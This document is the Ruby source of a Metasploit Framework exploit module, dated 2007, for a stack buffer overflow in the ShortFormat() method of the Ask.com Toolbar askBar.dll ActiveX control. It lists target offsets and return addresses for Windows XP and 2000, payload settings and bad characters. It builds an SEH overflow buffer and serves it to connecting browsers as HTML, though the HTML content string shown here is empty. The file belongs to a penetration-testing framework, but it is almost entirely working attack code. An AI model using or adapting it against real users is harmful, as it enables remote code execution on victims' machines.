## # $Id: ask_shortformat.rb 4953 2007-05-21 20:51:13Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' module Msf class Exploits::Windows::Browser::Ask_Shortformat < Msf::Exploit::Remote include Exploit::Remote::HttpServer::HTML include Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Ask.com Toolbar 4.0.2.53. An attacker may be able to excute arbitrary code by sending an overly long string to the "ShortFormat()" method in askbar.dll. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision$', 'References' => [ [ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ], [ 'Windows 2000 Pro English ALL', { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ], ], 'DisclosureDate' => 'Sep 24 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer filler = rand_text_alpha(target['Offset']) seh = generate_seh_payload(target.ret) sploit = filler + seh + rand_text_alpha(payload.encoded.length) # Build out the message content = %Q| | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end end